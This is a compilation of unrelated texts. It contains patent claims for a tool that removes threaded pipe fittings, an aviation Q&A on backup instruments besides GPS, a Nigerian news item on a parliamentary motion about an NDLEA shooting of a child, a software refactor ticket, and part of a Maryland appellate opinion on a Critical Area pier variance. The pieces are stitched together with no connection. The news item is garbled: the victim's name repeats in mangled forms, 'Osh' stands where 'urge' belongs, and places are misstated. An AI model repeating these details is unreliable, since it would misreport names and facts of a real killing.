In view of the above, it will be seen that the several objects of the invention are achieved and other advantageous results obtained.
When introducing elements of the present invention or the preferred embodiment(s) thereof, the articles “a”, “an”, “the” and “said” are intended to mean that there are one or more of the elements. The terms “comprising”, “including” and “having” are intended to be inclusive and mean that there may be additional elements other than the listed elements.
As various changes could be made in the above without departing from the scope of the invention, it is intended that all matter contained in the above description and shown in the accompanying drawings shall be interpreted as illustrative and not in a limiting sense.
What is claimed is:
1. A tool for removing a tubular member having a threaded exterior, such as a pipe fitting, from a threaded bore, the tool comprising: a pilot section located at a front end of the tool for guiding the tool into an interior of the tubular member, the pilot having a cylindric shape along a longitudinal axis; a shank section located at a back end of the tool and adapted for connection to a drill chuck, the shank section being aligned along said longitudinal axis; a central body for engaging the tubular member, the central body being located between the pilot section and the shank section, aligned along said longitudinal axis, and having a cross section transverse the longitudinal axis that is generally circular and that tapers in diameter from the shank section toward the pilot section along an entire length of the central body; at least one flute extending along a helical path on an exterior surface of the central body, the flute defining a cutting surface on the central body for cutting into the tubular member, and wherein the flute continuously extends the entire length of the central body and an entire length of the pilot section; and a back-cut on the tool for sharpening the cutting surface, the back-cut extending adjacent said flute on the exterior surface of the central body; whereby the pilot section is adapted to guide the central body into the interior of the tubular member without the pilot section cutting into the tubular member, and the central body as disposed in the tubular member may grind away the tubular member without damaging the threaded bore.
2. A tool for removing a tubular member having a threaded exterior, such as a pipe fitting, from a threaded bore, the tool comprising: a pilot section located at a front end of the tool for guiding the tool into an interior of the tubular member, the pilot having a cylindric shape along a longitudinal axis; a chamfered edge on the front end of the pilot section; a shank section located at a back end of the tool and adapted for connection to a drill chuck, the shank section being aligned along said longitudinal axis; a central body for engaging the tubular member, the central body being located between the pilot section and the shank section, aligned along said longitudinal axis, and having a cross section transverse the longitudinal axis that is generally circular and that tapers in diameter from the shank section toward the pilot section along an entire length of the central body; and at least one flute extending along a helical path on an exterior surface of the central body, the flute defining a cutting surface on the central body for cutting into the tubular member, and wherein the flute continuously extends the entire length of the central body and an entire length of the pilot section; whereby the pilot section is adapted to guide the central body into the interior of the tubular member without the pilot section cutting into the tubular member, and the central body as disposed in the tubular member may grind away the tubular member without damaging the threaded bore.
3. The tool as set forth in claim 2 wherein said at least one flute is cut in a left-hand direction so that counter-clockwise rotation of the tool accomplishes removal of said tubular member.
4. The tool as set forth in claim 2 further comprising an annular groove located between the pilot section and the central body.
5. The tool as set forth in claim 1 wherein said back-cut is limited to said central body and does not extend onto the pilot section.
6. The tool as set forth in claim 1 wherein said at least one flute is cut in a left-hand direction so that counter-clockwise rotation of the tool accomplishes removal of said tubular member.
7. The tool as set forth in claim 1 wherein there are two flutes.
8. The tool as set forth in claim 1 further comprising an annular groove located between the pilot section and the central body.
9. The tool as set forth in claim 8 wherein the central body has a narrower end oriented toward the pilot section and a wider end oriented toward the shank section, the wider end having a diameter that approximates a diameter of the threaded bore.
10. The tool as set forth in claim 1 further comprising a chamfered edge on the front end of the pilot section.
11. The tool as set forth in claim 1 wherein the tool is formed as one piece.
12. The tool as set forth in claim 11 wherein the tool is formed of steel.
13. The tool as set forth in claim 1 wherein a length of said tool is no greater than about 2.3 inches.
14. The tool as set forth in claim 13 wherein the length of said central body is no greater than about 1 inch.
15. A method of removing a tubular member having a threaded exterior, such as a pipe fitting, from a threaded bore, the method using a tool having a longitudinal axis, a pilot section located at a front end of the tool, a shank section located at a back end of the tool, a central body located between the pilot section and the shank section and having a cross section transverse the longitudinal axis that is generally circular and that tapers from a narrowest diameter to a widest diameter along an entire length of the central body, the widest diameter being approximately equal to an inside diameter of the threaded bore, and at least one flute extending along a helical path on the central body, the method comprising the steps of: aligning the longitudinal axis of the tool with the tubular member; inserting the pilot section of the tool into an interior of the tubular member, thereby guiding an insertion of the tool; engaging an external surface of the central body against the interior of the tubular member; rotating the tool at high speed whereby said at least one flute grinds away the tubular member and does not grind away threads of the threaded bore for removing the tubular member without damaging the bore.
16. A method as set forth in claim 15 further comprising limiting insertion of the tool to a position where said widest diameter of the central body is flush with an entrance of the bore.
17. The tool as set forth in claim 2 wherein the central body has a narrower end oriented toward the pilot section and a wider end oriented toward the shank section, the wider end having a diameter that approximates a diameter of the threaded bore.
|
Do modern aircraft still have mechanical sensors as backup to GPS?
A comment here Why does "no aircraft cross directly over the pole"? indicates that modern aircraft use GPS for navigational purposes, which makes perfect sense. However, do these aircraft also have backup mechanical sensors (altimiter, magnetic compass, etc.) in case GPS signals go haywire or are not available?
Clarification might be helpful. GPS is a system for precision location determination. Are you asking if there are backup precision navigation instruments (e.g the use of terrestrial navigation radials or the presence of onboard inertial measurement systems) ? An altimeter, magnetic compass and airspeed indicator are not precision navigation instruments, they are primary flight instruments.
Note that GPS is not used for measuring altitude except for the terrain proximity warning. This is because barometric altitude and altitude are different quantities, but all aircraft must agree on one, which is the barometric one.
@tillmas, I was primarily wondering about primary flight instrument backup capabilities in case the primary precision electronics-based instruments became inoperative. Essentially redundancy in general navigation function by two completely differently-designed systems.
@ScottEvans, then I think your question should be edited to say that. You should also understand that primary flight instruments are not backups to GPS. GPS is not a primary flight instrument, it is a navigational instrument.
In light aircraft they typically do: Glass-Panel aircraft will also have traditional "steam gauge" backup instruments of some kind.
Note the airspeed indicator, attitude indicator, and altimeter to the left of the pilot's PFD.
This is however no longer guaranteed: A completely independent electronic backup system with its own power source may be used in place of the traditional "steam gauges".
This can be seen on new Cirrus aircraft, which have digital standby instruments (in the green box):
Similarly transport category jets may have traditional backup instruments:
Or they may have an electronic backup system:
Note that the electronic instruments in these cases aren't GPS-referenced: They are gyroscopic instruments with pitot and static input for airspeed and altitude/vertical speed calculation.
The question appears to be asking about backup for navigation systems, not flight instruments.
Basic VOR navigation equipment (and sometimes NDB or DME aswell), altimeter and magentic compas are mandatory equipment for any IFR aircraft
It's a pretty safe bet any aircraft will have them onboard.
Also, a good side story to tell is that mechanical sensors do not act as backup to GPS: in case of altitude the 'mechanical' baro-altimeter is still the primary instrument, as for navigation the radios & IRS are still used to enhance the estimated GPS position
There's no requirement in the US to have a VOR receiver; the regulation only says "navigation equipment suitable for the route to be flown".
Yeah, the FAR is surprisingly vague about this, whereas the ICAO (and EASA) make this a little bit easy: check EU OPS 1.865 d) (1) (at least 1 VOR , or 2 if it is the sole means of navigation) ... FAR maybe has an equivalent I'm just not so familiar with FAR
|
The Nigeria House of Representatives has urged the Inspector General of Police to take over the investigation and prosecution of officers of the National Drug Law Enforcement Agency involved in the shooting and killing of two-year-old Ivan, or Ivan, or Nosse, or Morina in Asaba State, while his younger sibling, Eromon Selle, was also shot in the eye and currently receiving treatment of the Federal Medical Center FMC Asaba. Honourable Unyi Maydem, while moving the motion at plenary on Tuesday called for the urgent investigation and prosecution of all the officers involved in the illegal killings. He also called for the compulsory training and sensitization program for officers of law enforcement agencies on the use of firearms, conflict resolution, de-escalation techniques, and respect for human rights. Describing the incident as a sad one, he questioned that it should not be swept under the carpet. Osh, the Inspector General of Police, IGP, to take over the investigation and prosecution of the officers involved in the shooting and killing of Ivan, or Nosse, or Morina and ensure that the perpetrators are brought to book. Three, also Osh, the National Drug Law Enforcement Agency, and all other law enforcement agencies to provide regular training and sensitization programs for their officers on the appropriate use of firearms, conflict resolution, de-escalation techniques, and respect for human rights. Four, mandate the Committee on Human Rights when constituted to ensure that the family of Osh are adequately compensated for their loss and report back within six weeks. And five, also mandate the Committee on National Security and Intelligence when constituted to effectively monitor the activities of law enforcement agencies including conducting regular evaluations, reviewing incidents and recommend appropriate action to prevent similar occurrences and report back within four weeks for further legislative action. Mr Speaker, Distinguished Colleagues, I so move.
|
refactor: centralize formatting and parsing of params & attributes
We have two places where we handle the formatting: QPath objects and directly in the service generator. Additionally, the service generator also generates code to parse params.
The goal is to centralize formatting and parsing in one place.
[x] Centralize formatting and parsing logic in QPath objects
[x] Introduce QParam and QFunction/QAction
[x] Generate models for IdType of entity & parameter models for functions / actions in general
[x] Generate Q-objects for EntityIdFunctions, and functions & actions in general
[x] Adapt service generator to rely on newly geneated models & Q-objects to realize operation implementation and key formatting & parsing
Introduced GenerationOptions to be able to disable generation of
editable model versions, which are only needed for create, update, patch
models for entity ids and query objects representing entity id functions
models for operation params and query objects for operations
This is most useful in our tests to reduce redundancy and maintenance burden.
|
136 A.3d 866
ASSATEAGUE COASTAL TRUST, INC. v. Roy T. SCHWALBACH, et al.
No. 59,
Sept. Term, 2015.
Court of Appeals of Maryland.
May 23, 2016.
Robin R. Cockey (Ashley A. Bosché, Cockey, Brennan & Maloney, P.C., Salisbury, MD), on brief, for Petitioner.
Hugh Cropper, IV (Brynja M. Booth, Booth, Booth, Cropper & Mariner, P.C., Ocean City, MD), on brief, for Respondents.
Argued before: BARBERA, C.J., BATTAGLIA , GREENE, ADKINS , McDONALD, WATTS, and LAWRENCE F. RODOWSKY (Retired, Specially Assigned), JJ.
Battaglia, J., now retired, participated in the hearing and conference of this case while an active member of this Court; after being recalled pursuant to the Constitution, Article IV, Section 3A, she also participated in the decision and adoption of this opinion.
Adkins, J., participated in the hearing and conference of this case, but recused herself prior to the adoption of this opinion.
McDonald, j.
In the State’s Critical Area law, the General Assembly has established a cooperative program with local jurisdictions to ensure that land near Chesapeake Bay and the Atlantic coastal bays has special protection against development that might cause environmental damage. Although that law allows a property owner to seek a variance from the law’s restrictions, the law creates a presumption that a proposed variance does not conform to the purpose and intent of the Critical Area law and places the burden of proof on the applicant to demonstrate that all of the criteria for a variance have been met. Among other things, the applicant must show that the applicant would suffer an “unwarranted hardship” without the variance and that granting the variance will not have an adverse environmental impact.
In this case, Respondent Roy T. Schwalbach sought a variance from a provision in a Worcester County ordinance that limits piers to 100 feet in length. He needed the variance in order to build an extended pier to access navigable water from his waterfront property in a community where piers and boating are common. Mr. Schwalbach obtained necessary approvals from federal, State, and local environmental agencies. The Worcester County Board of Zoning Appeals (“Board”) granted the variance after holding an evidentiary hearing and finding that Mr. Schwalbach had borne the burden of proof on all of the requirements for a variance.
Petitioner Assateague Coastal Trust, Inc. (“ACT”), an environmental advocacy organization, sought judicial review of the grant of the variance, arguing that the Board’s decision was defective for several reasons. The Circuit Court for Worcester County and the Court of Special Appeals both upheld the Board’s decision in written opinions that analyzed the evidence before the Board on the criteria for a variance.
Before us, ACT focuses its contentions on three arguments. ACT argues: (1) that denial of the variance would not deny Mr. Schwalbach all reasonable and significant use of the entire property and therefore he could not establish an “unwarranted hardship”; (2) that Mr. Schwalbach did not show, and the Board did not explicitly find, that there would be no adverse environmental impact from granting the variance; and (3) that, although the Board’s written decision concluded that Mr. Schwalbach had satisfied all standards for the variance, the Board did not make an explicit written finding that he had rebutted the statutory presumption of non-conformity with the Critical Area law.
We agree with the Circuit Court and Court of Special Appeals that the Board’s decision should be upheld. In our view, in order to establish an “unwarranted hardship,” Mr. Schwalbach was not required to show that he would be denied all reasonable and significant use of his land without the variance — in essence, a showing of an unconstitutional taking — but rather that he would be denied a reasonable and significant use throughout the entire property. There was sufficient evidence for the Board to conclude that Mr. Schwalbach had satisfied that standard as well as the standard that there be no adverse environmental impact from granting the variance. In addition, the Board’s statement that the application had “satisfied all standards” adequately expressed its determination concerning the environmental impact standard and its conclusion that the evidence presented to it had overcome the statutory presumption of non-conformity.
I
Background
A. Statutory framework
The Critical Area Program
In order to protect the Chesapeake and Atlantic coastal bays, the General Assembly has enacted the Chesapeake and Atlantic Coastal Bays Critical Area Protection Program (“Critical Area Program”). See NR § 8-1801 (describing legislative findings and purpose of the Critical Area Program). The Critical Area Program is a cooperative program between the State and local governments that places restrictions on development in certain environmentally sensitive areas. See id.; NR § 8-1807. The Critical Area Program is designed to:
• Minimize adverse impacts on water quality as a result of pollutants discharged from structures or conveyances or run-offs from land
• Conserve fish, wildlife, and plant habitat
• Establish land use policies that accommodate growth while addressing adverse environmental impacts
NR § 8-1808(b). Generally speaking, the Critical Area consists of a 1000-foot swath of land adjacent to the Chesapeake Bay, the Atlantic coastal bays, and their tributaries. NR § 8-1807. Local Critical Area programs are to accord special protection to “buffer” areas along the shoreline. See, e.g., NR §§ 8-1801(a)(2), 8-1801(a)(4), 8-1806(b), 8-1808(c)(l)(iii).
Under the Critical Area Program, land within the Critical Area is divided into three categories — Intensely Developed Areas, Limited Development Areas, and Resource Conservation Areas. NR § 8-1802(a)(13), (15), (22). An Intensely Developed Area is defined as a part of the Critical Area where residential, commercial, institutional, or industrial developed land uses predominate, and where there is relatively little natural habitat. See COMAR <IP_ADDRESS>. Intense development is to be directed to Intensely Developed Areas. CO-MAR <IP_ADDRESS>; see also Mueller, Paved Intentions: Maryland’s Critical Area Act, 41 Md. Bar J. 10, 12 (2008).
Restriction on Pier Length in Worcester County
Because the program is cooperative, State law creates some restrictions, and local law creates others. In Worcester County, the additional restrictions are codified in the Atlantic Coastal Bays Critical Area subtitle of the Natural Resources Article of the Worcester County Code (“WCC NR”). One restriction unique to Worcester County is that new piers or docks over State or private wetlands are limited to 100 feet in length. WCC NR § 3-125(b)(l).
Variances
A person seeking to develop property in a manner that would violate the Critical Area Program in Worcester County may ask for a variance. WCC NR § 3-111. Pertinent to this case, the request for a variance must meet six requirements:
(1) Special conditions or circumstances exist that are peculiar to the applicant’s land or structure and a literal enforcement of provisions and requirements of the County’s Atlantic Coastal Bays Critical Area Program would result in unwarranted hardship;
(2) A literal interpretation of the provisions of the Atlantic Coastal Bays Critical Area Program and related laws will deprive the applicant of rights commonly enjoyed by other properties in similar areas within the Atlantic Coastal Bays Critical Area;
(3) The granting of a variance will not confer upon an applicant any special privilege that would be denied by the County’s Atlantic Coastal Bays Critical Area Program to other lands or structures within the Atlantic Coastal Bays Critical Area;
(4) The variance request is not based upon conditions or circumstances which are the result of actions by the applicant, nor does the request arise from any condition relating to land or building use, either permitted or nonconforming on any neighboring property;
(5) The granting of a variance shall not adversely affect water quality or adversely impact fish, wildlife or plant habitat within the Atlantic Coastal Bays Critical Area and the granting of the variance will be in harmony with the general spirit and intent of the County’s Atlantic Coastal Bays Critical Area Program;
[6] The Board of Zoning Appeals shall not make a decision relative to a request for such a variance without reviewing the comments of the [County] Department [designated to enforce the Critical Area Program] and finding that the applicant has satisfied each of the provisions and standards contained herein.
WCC NR § 3 — 111(b) (emphasis added); see also COMAR <IP_ADDRESS>B (listing substantially the same requirements, although missing the last and divided differently); NR § 8-1808(d)(5)(i) (also requiring a showing of “unwarranted hardship” as a prerequisite to a variance from a local Critical Area program).
Thus, among other things, an applicant for a variance must prove that the applicant would otherwise suffer an unwarranted hardship (standard 1) and that there will not be an adverse effect on water quality or animal and plant habitat from granting the variance (standard 5). The Critical Area law defines “unwarranted hardship” to mean that “without a variance, an applicant would be denied reasonable and significant use of the entire parcel or lot for which the variance is requested.” NR § 8-1808(d)(l); COMAR <IP_ADDRESS>; see also WCC NR § 3-102 (identical definition for purposes of the County law).
In general, “[i]n considering an application for a variance, a local jurisdiction shall presume that the specific development activity in the critical area that is subject to the application and for which a variance is required does not conform with the general purpose and intent of’ the Critical Area Program. NR § 8 — 1808(d)(3)(ii); see also WCC NR § 3-lll(d)(l). “An applicant has the burden of proof and the burden of persuasion to overcome” this presumption. NR § 8 — 1808(d)(4)(i); see also WCC NR § 3-lll(d)(3). “Based on competent and substantial evidence, a local jurisdiction shall make written findings as to whether the applicant has overcome” this presumption. NR § 8-1808(d)(4)(ii)(l); see also WCC NR § 3-111(d)(4).
B. Facts and Procedural History
The Schwalbach Property
The pertinent facts are uncontested. Mr. Schwalbach’s property adjoins a tributary of Sinepuxent Bay in an area known as West Ocean City in Worcester County. The property is comprised of five and one-half lots that were platted in 1924. A single-family home stands on one of the lots; two of the lots are entirely within a tidal marsh. The surrounding area is an active boating community and includes a large commercial fishing marina. Many of the nearby single-family residences have piers that extend into the marsh in order to access navigable water. The property is located within the Atlantic Coastal Bay Critical Area, has a critical area designation as an Intensely Developed Area, and is zoned R-3 (Multifamily Residential District) in the County zoning ordinance.
The Proposed Pier and Variance
Mr. Schwalbach seeks to build a pier — perhaps better described as a walkway — across the marsh to allow access to navigable water. The pier would measure 3 feet in width by 180 feet in length and would extend to a proposed dock at the shoreline. Mr. Schwalbach has obtained all necessary permits, including a tidal wetlands license from the Maryland Department of the Environment, an authorization from the United States Army Corps of Engineers, and the approval of the Worcester County Shoreline Commission (the last of which came after an advertised public hearing). Those agencies placed various conditions on the construction and use of the pier and required certain plantings and other mitigation to protect the marshland.
On August 14, 2013, Mr. Schwalbach applied to the Worcester County Board of Zoning Appeals for a variance from the provision in the Worcester County ordinance that limits the length of piers across tidal wetlands to 100 feet. See WCC NR § 3 — 125(b)(1). In a report dated September 23, 2013, Board staff evaluated each of the six standards set forth in the Worcester County Code and recommended approval of the variance. Among other things, the staff concluded that Mr. Schwalbach would be unable to reach the navigable waters adjacent to his property without the variance, that the environmental impact would be minimal and would be mitigated by the plantings required by the agencies that had issued permits for the pier, and that failure to grant a variance would result in an unwarranted hardship for Mr. Schwalbach. The Critical Area Commission did not oppose the application, but submitted a letter in which it noted that the property was designated an Intensely Developed Area and that Mr. Schwalbach had received approvals from other agencies, reminded the Board that it must find that an applicant satisfies all standards in the County ordinance, and asked the Board to notify it of the outcome.
Hearing and Decision of the Board of Zoning Appeals
On October 10, 2013, the Board held a hearing, at which Mr. Schwalbach presented documents and expert testimony, as well as his own testimony. A surveyor testified that Mr. Schwalbach would be unable to reach navigable waters from his property with a shorter pier. An environmental consultant testified that there were numerous docks in the vicinity and that the design of the proposed pier, which had been negotiated with the environmental agencies, would effect the minimal possible intrusion while allowing Mr. Schwalbach to access navigable water. He also stated that, in light of the special conditions imposed by the permitting agencies, the proposed pier would have no adverse effect on water quality. The consultant also noted that the property was located in a “very heavily used area for boating” and that there were several hundred boats in nearby marinas. Mr. Schwalbach testified that his property extended to the water’s edge and that he wished to install the pier to have access to navigable water.
ACT wrote a letter in opposition to the variance but did not appear at the hearing. In the letter, the Executive Director of ACT argued that construction of the pier would result in a change in the character of the marsh. Although the letter did not specify the variance standards to which ACT’s opposition related, the letter appeared to address primarily the fifth standard (adverse environmental impact). No one else opposed the variance.
At the conclusion of the hearing, the Board voted unanimously to grant the variance. The Board later issued a written decision dated November 14, 2013. In that decision, the Board adopted the staff report and reiterated the staffs analysis of the six requirements in the ordinance.
Judicial Review
ACT disagreed with the Board’s decision, and filed a petition for judicial review in the Circuit Court for Worcester County. ACT argued that the Board’s decision was deficient because it failed to make a specific finding that Mr. Schwalbach had overcome the presumption of non-conformity and because Mr. Schwalbach had allegedly failed to establish five of the six factors. After holding a hearing for legal argument, the Circuit Court issued a detailed written opinion on June 19, 2014, in which it affirmed the decision of the Board and rejected all of ACT’s arguments.
ACT appealed to the Court of Special Appeals, making the same arguments as it made before the Circuit Court. The Court of Special Appeals affirmed the Circuit Court decision. 223 Md.App. 631, 117 A.3d 606 (2015). ACT filed a petition for a writ of certiorari, which we granted. 445 Md. 19, 123 A.3d 1005 (2015).
II
Discussion
A. Standard of Review
“When we review the final decision of an administrative agency, such as the Board of Appeals, we look through the circuit court’s and intermediate appellate court’s decisions, although applying the same standards of review, and evaluate the decision of the agency.” People’s Counsel for Baltimore County v. Loyola College, 406 Md. 54, 66, 956 A.2d 166 (2008) (internal quotation marks and brackets omitted). We affirm an agency’s decision if there is substantial evidence in the record as a whole to support the agency’s findings and conclusions. Chesapeake Bay Foundation, Inc. v. DCW Dutchship, LLC, 439 Md. 588, 611, 97 A.3d 135 (2014). An agency’s decision is to be reviewed in the light most favorable to it and is presumed to be valid. Id. (quotation marks and citation omitted). However, we do not defer to the agency on the applicable legal standards.
Before us, ACT has focused its argument concerning compliance with the requirements for a variance on two standards: standard 1 (unwarranted hardship) and standard 5 (adverse environmental impact). With respect to each of those standards, ACT not only challenges the sufficiency of the evidence before the Board, but also other aspects of its decision. As to standard 1, ACT suggests that the Board applied the wrong legal standard. As to standard 5, ACT contends that the Board failed to make the requisite finding. ACT also continues to contend that Mr. Schwalbach failed to overcome the presumption of non-conformity and that the Board failed to make an express finding to that effect. Thus, we must decide three issues:
1 — Whether there was substantial evidence to support the Board’s finding that denial of the variance would result in an “unwarranted hardship” in light of the definition of that phrase.
2 — Whether there was substantial evidence to support a finding that the granting of the variance would not have an adverse environmental impact and whether the Board’s decision was sufficiently explicit in making such a finding.
3 — Whether the Board’s decision adequately stated that the applicant had overcome the presumption of non-conformity.
B. Unwarranted Hardship
To satisfy the first requirement for a variance under the Critical Area law, an applicant must prove that “[s]pecial conditions or circumstances exist that are peculiar to the applicant’s land or structure and that a literal enforcement of provisions and requirements of the County’s Atlantic Coastal Bays Critical Area Program would result in unwarranted hardship.” WCC NR § 3-lll(b)(l); see also NR § 8-1808(d)(5)®.
The Board found that Mr. Schwalbach had satisfied this standard of the Critical Area law because, without the variance, he would be prohibited from enjoying the riparian rights associated with his property as an expanse of wetlands prevented the property owner from reaching navigable waters.
There appears to be no question that there are special conditions or circumstances present with respect to Mr. Schwalbach’s property. An owner of property that is adjacent to a body of water has riparian rights under both common law and statute. Worton Creek Marina, LLC v. Claggett, 381 Md. 499, 508-12, 850 A.2d 1169 (2004). Fundamental among those rights is access to the water. Id. Thus, it is well established that the property owner has “the right to make a landing, wharf or pier” to provide access to navigable water subject to “general rules and regulations ... necessary to protect the rights of the public.” Causey v. Gray, 250 Md. 380, 387, 243 A.2d 575 (1968). As the Court of Special Appeals pointed out in its opinion in this case, this is a particularly important property right in a boating community. 223 Md. App. at 647, 117 A.3d 606. Unsurprisingly, the record before the Board indicates that there are numerous properties in the area of Mr. Schwalbach’s property with piers that extend more than 100 feet across the tidal marsh to reach navigable water. Without a variance allowing an extended pier, Mr. Schwalbach could not have a pier that would reach the navigable water adjoining his property.
The question is whether that inability to exercise that riparian right amounts to an “unwarranted hardship.” The statute and local ordinance both define “unwarranted hardship” to mean that, in the absence of a variance, the applicant “would be denied reasonable and significant use of the entire parcel or lot ...” NR § 8-1808(d)(l); WCC NR § 3-102.
ACT appears to concede that denying Mr. Schwalbach a variance would result in at least a “diminution” of his riparian rights. ACT contends that the Board applied the wrong legal standard because “a use,” in plain English, is not the same as “use.” In the Circuit Court, ACT argued that, in order to demonstrate “unwarranted hardship,” Mr. Schwalbach was required “to prove that without the variance he could not make any reasonable and significant use of his property.” (emphasis added). ACT asserts that he cannot satisfy such a standard because there is already a residence and other improvements on the property. It also argues that Mr. Schwalbach did not prove that, without the variance, he is denied exercise of his riparian rights with non-motorized vessels.
Mr. Schwalbach, of course, agrees with the Board’s finding and argues that an inability to exercise his riparian rights to access the navigable water, including with motorized vessels, would deny a reasonable and significant use of the entire property.
We are thus confronted with a problem of statutory construction. To prove an “unwarranted hardship,” must an applicant demonstrate a denial of all reasonable and significant use of the entire property, or must the applicant show a denial of a reasonable and significant use of the entire property?
1. Statutory text
We begin, as always, with the text of the statute. As noted above, the pertinent State statute and County ordinance both define “unwarranted hardship” as a denial of “reasonable and significant use of the entire” property. While it is clear that the restriction must relate in some way to use of the “entire” property and that the deprivation must relate to something that is “reasonable and significant,” neither law specifies whether the deprivation must be of all such uses of the entire property — i.e., “any” reasonable and significant use — or it can be of one such use assessed in relation to the entire property — i.e., “a” reasonable and significant use.
A reading of the statute that would require the applicant to demonstrate that, without a variance, the applicant would be foreclosed from any reasonable and significant use of the entire property under the Critical Area requirements would appear to require the applicant to meet the standards for a “taking” of the property. Under the “taking” standard, “a regulation which denies all economically beneficial or productive use of land will require compensation under the Takings Clause.” Palazzolo v. Rhode Island, 533 U.S. 606, 617, 121 S.Ct. 2448, 150 L.Ed.2d 592 (2001) (internal quotation marks omitted); see also Litz v. Maryland Department of Environment, 446 Md. 254, 267, 131 A.3d 923 (2016). “All economically beneficial or productive use” of a property would appear to be a subset of “all reasonable and significant use of the entire property.” Thus, if Mr. Schwalbach needed to show that he would be denied all reasonable and significant use of the property without a variance, then the “unwarranted hardship” standard would collapse into the “taking” standard, because such a showing would also satisfy the “taking” standard. Yet this Court has repeatedly (and recently) held that the “unwarranted hardship” standard is not as demanding as the “taking” standard. See DCW Dutchship, 439 Md. at 619, 97 A.3d 135.
Accordingly, we are reluctant to accept ACT’s assertion the Board applied an incorrect legal standard when it did not require Mr. Schwalbach to show that he would otherwise be prohibited from all reasonable and significant use of the entire property. The legislative history of the Critical Area law confirms we should not.
2. Legislative history
The phrase “unwarranted hardship” first appeared without definition in the regulations of the Critical Area Commission, was later construed by this Court in a series of cases that turned on those regulations, and was ultimately defined by the General Assembly in the Critical Area statute in reaction to that case law.
1986: Adopting the “unwarranted hardship” standard in regulation
The phrase “unwarranted hardship” did not appear in the Critical Area law, as it was originally enacted. See Chapter 794, Laws of Maryland 1984. Rather, the phrase appeared in regulations adopted by the Critical Area Commission and in local Critical Area ordinances required to be consistent with those regulations. See 12:24 Md. Reg. 2352 (November 22, 1985), adopting COMAR 14.15.11. The regulations did not define “unwarranted hardship.”
1999-2000: Defining “unwarranted hardship” in case law
It fell to this Court to define “unwarranted hardship” in a trio of cases decided during 1999-2000. Belvoir Farms Homeowners Ass’n, Inc. v. North, 355 Md. 259, 734 A.2d 227 (1999); White v. North, 356 Md. 31, 736 A.2d 1072 (1999); Mastandrea v. North, 361 Md. 107, 760 A.2d 677 (2000).
In Belvoir Farms, a county board of appeals granted a variance, applying a definition of “unwarranted hardship” that equated that standard with the “practical difficulties” standard under the local zoning law. This Court held that the “unwarranted hardship” standard is more stringent than the “practical difficulties” standard and that, therefore, the board had committed an error of law. 355 Md. at 265-67, 734 A.2d 227. To provide guidance to the board on remand, the Court articulated a definition of “unwarranted hardship.” It found the phrase to be indistinguishable from the standard of “unnecessary (or undue) hardship” applied in use variance applications: “whether the applicable zoning restriction when applied to the property in the setting of its environment is so unreasonable as to constitute an arbitrary and capricious interference with the basic right of private ownership.” Id. at 276, 734 A.2d 227 (quotation marks and citation omitted). After further surveying case law in Maryland and other states, the Court concluded that the “unwarranted hardship” standard could be “either the denial of beneficial or reasonable use or the denial of all viable economic use, the unconstitutional taking standard.” Id. at 281, 734 A.2d 227 (emphasis added). In the end, it rejected the latter definition, equivalent to the taking standard, as “superfluous” and defined the standard as “denial of reasonable and significant use of the property.” Id. at 282, 734 A.2d 227.
In White, a county board of appeals granted a variance from the Critical Area restrictions to permit a homeowner to locate an in-ground pool in a part of the property that lay in the extended buffer established by the Critical Area regulations. The circuit court overturned the grant of the variance, and the Court of Special Appeals affirmed that decision — decisions that were made before this Court had defined “unwarranted hardship” in Belvoir Farms. This Court vacated the lower court decisions in White and ordered that the case be remanded to the board of appeals for application of the unwarranted hardship standard in light of the definition provided in Belvoir Farms. The Court reiterated that an unwarranted hardship “can result from the denial of a reasonable and significant use” and that the standard was less stringent than that required to prove a taking. 356 Md. at 49, 736 A.2d 1072 (emphasis added). The Court then proceeded to discuss the various other standards set forth in the ordinance for a variance. In the course of providing further guidance to the board of appeals on remand, the Court stated that the applicants did not have to satisfy every specific standard of the variance ordinance; rather, the applicants needed only to show whether the requirements were “generally met.” Id. at 50, 736 A.2d 1072. The Court also indicated, among other things, that the board could consider the existence of neighbors’ pools that pre-dated that Critical Area regulations and that were legal non-conforming uses. Id. at 51-52, 736 A.2d 1072.
In Mastandrea, a county board of appeals granted a variance to a homeowner for the construction of brick pathway, part of which lay within the Critical Area buffer, for the benefit of a wheelchair-bound member of the household. The circuit court overturned that decision. This Court issued a writ of certiorari in advance of a decision by the Court of Special Appeals and took the occasion to further discuss the concept of “unwarranted hardship.” Referring to the definition developed in Belvoir Farms, the Court reiterated that an “unwarranted hardship” was “a denial of reasonable and significant use of land” and that it was a lesser standard than required to prove an unconstitutional taking. 361 Md. at 136, 760 A.2d 677 (emphasis added). The Court held that the property owners needed to establish whether they “would be denied a reasonable and significant use” of the property. Id. (emphasis added). The Court also stated that the board did not have to assess whether the use in question related to the “entire” property. Rather, the board should consider whether the property owners, in light of the family member’s disability, would be denied a reasonable and significant use of the waterfront portion of the property. Id.
2002: Adding the “unwarranted hardship” criterion to the statute
The General Assembly was apparently displeased with the Court’s interpretation of the Critical Areas law in those cases in several respects, although it expressed no discomfort with the Court’s articulation of the “unwarranted hardship” standard as less than a taking. In particular, the General Assembly disagreed with the Court’s holding in Mastandrea that a board could assess the proposed development with respect to only a portion of a property rather than the entire property (including alternative locations for the development), and the holdings in White that an applicant need only “generally” satisfy variance requirements and that a board should consider comparable legal non-conforming uses that predated the Critical Area regulations.
In 2002, the Legislature amended the Critical Area statute for the explicit purpose of overruling those decisions with respect to those three holdings. See Chapters 431, 432, Laws of Maryland 2002. The preambles of those laws, which described the holdings and the General Assembly’s intention to overrule them, provided in pertinent part:
WHEREAS, Recent decisions by the Maryland Court of Appeals have held that a variance may be granted if the regulations would deny development on a specific portion of an applicant’s property rather than considering alternative locations on-site; and
WHEREAS, The Court of Appeals has ruled that a local Board of Appeals, when determining if denial of a variance would deny an applicant rights commonly enjoyed by others in the Critical Area, may compare a proposal to nonconforming uses or development that predated implementation of a local Critical Area Program; and
WHEREAS, The Court of Appeals has ruled that an applicant for a variance from Critical Area requirements may generally satisfy the variance standards of a local zoning ordinance, rather than satisfy all of the standards; and
WHEREAS, These recent rulings by the Court of Appeals are contrary to the intent of the General Assembly in enacting the Chesapeake Bay Critical Area Protection Act; and
WHEREAS, It is the intent of this Act to overrule these recent decisions of the Court of Appeals regarding variances to Critical Area regulations; ....
Preamble to Chapters 431, 432, Laws of Maryland 2002.
The Floor Report for Senate Bill 326 also cited the trio of cases from 1999-2000 and stated:
The purpose of this bill is to establish by statutory authority that:
• The entire property is to be considered when determining whether unwarranted hardship exists;
• Comparisons are applicable only to development since the implementation of a local critical areas program; and
• An applicant is to satisfy all the standards for granting of a variance.
